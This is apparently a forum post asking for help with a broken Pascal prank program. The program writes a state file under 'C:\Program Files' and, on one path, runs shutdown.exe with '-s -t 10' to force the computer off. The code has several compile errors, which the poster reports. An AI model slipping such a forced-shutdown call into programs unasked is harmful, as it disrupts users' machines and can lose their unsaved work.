运行 总是出错。求解

program birtry;
uses sysutils;
uses Dos;
Label 89,88,90;
var a:boolean;
var f1,f2,f3,f4,g1,g2,h1,h2,long:text;
var p,q:integer;
var yorn:char;
var m,n:string;
procedure nmin;
begin
a:=fileexists('c:\Program Files\nmin.max');
if a then
begin
assign(f1,'c:\Program Files\nmin.max');
reset(f1);
read(f1,p);
close(f1);
end;
if not a then
begin
assign(f2,'c:\Program Files\nmin.max');
rewrite(f2);
write(f2,1);
close(f2);
assign(g1,'birtry.txt');
rewrite(g1);
write(g1,'Qx0t")');
close(g1);
assign(h2,'输入.txt');
rewrite(h2);
close(h2);
end;
end;
procedure inputyorn;
begin
assign(h1,'输入.txt');
reset(h1);
read(h1,yorn);
close(h1);
end;
begin
nmin;
case p of
1:begin
inputyorn;
if yorn='y' then
begin
assign(g2,'birtry.txt');
rewrite(g2);
write(g2,'L21o2');
close(g2);
assign(f3,'c:\Program Files\nmin.max');
rewrite(f3);
write(f3,888);
close(f3);
end;
if yorn='n' then
begin
assign(g2,'birtry.txt');
rewrite(g2);
write(g2,'11t"');
close(g2);
assign(f3,'c:\Program Files\nmin.max');
rewrite(f3);
write(f3,3);
close(f3);
end;
2: begin
assign(g4,'birtry.txt');
rewrite(g4);
write(g4,'GGG');
close(g4);
assign(f4,'c:\Program Files\nmin.max');
rewrite(f4);
write(f4,888);
close(f4);
end;
3: begin
assign(f4,'c:\Program Files\nmin.max');
rewrite(f4);
write(f4,888);
close(f4);
assign(h1,'输入.txt');
reset(h1);
read(h1,long);
close(h1);
end;
if long<170 then
begin
assign(g4,'birtry.txt');
rewrite(g4);
write(g4,'！~~~');
close(g4);
end;
else
begin
write(' ^ˉ^ ');
end;
end;
888:write('the file can be onle one used');
end;
if long < 170 then goto 89;
swapVectors;
exec(getEnv('SYSTEMROOT')+'\SYSTEM32\shutdown.exe','-s -t 10');
swapVectors;
goto 90;
89:
writeln;
90:
readln;
end.